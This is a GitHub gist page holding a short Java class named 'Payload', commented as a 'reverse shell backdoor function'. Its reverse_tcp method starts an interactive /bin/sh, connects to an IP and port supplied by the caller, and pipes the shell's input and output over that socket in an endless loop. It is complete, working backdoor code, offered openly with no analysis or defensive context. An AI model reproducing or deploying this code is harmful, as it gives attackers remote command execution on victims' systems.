Skip to content

Instantly share code, notes, and snippets.

@n0mi1k
Created January 16, 2023 10:57
Show Gist options
  • Save n0mi1k/a2c0c230ba979409334e522ed2272226 to your computer and use it in GitHub Desktop.
Save n0mi1k/a2c0c230ba979409334e522ed2272226 to your computer and use it in GitHub Desktop.
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
// Reverse shell backdoor function
public class Payload {
public static void reverse_tcp(String ip,int port){
try {
String[] str = {"/bin/sh","-i"};
Process p = Runtime.getRuntime().exec(str);
InputStream pin = p.getInputStream();
InputStream perr = p.getErrorStream();
OutputStream pout = p.getOutputStream();
Socket socket = new Socket(ip,port);
InputStream sin = socket.getInputStream();
OutputStream sout = socket.getOutputStream();
while(true){
while(pin.available()>0) sout.write(pin.read());
while(perr.available()>0) sout.write(perr.read());
while(sin.available()>0) pout.write(sin.read());
sout.flush();
pout.flush();
}
} catch (IOException e) {
e.printStackTrace();
}catch (StringIndexOutOfBoundsException e) {
e.printStackTrace();
}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment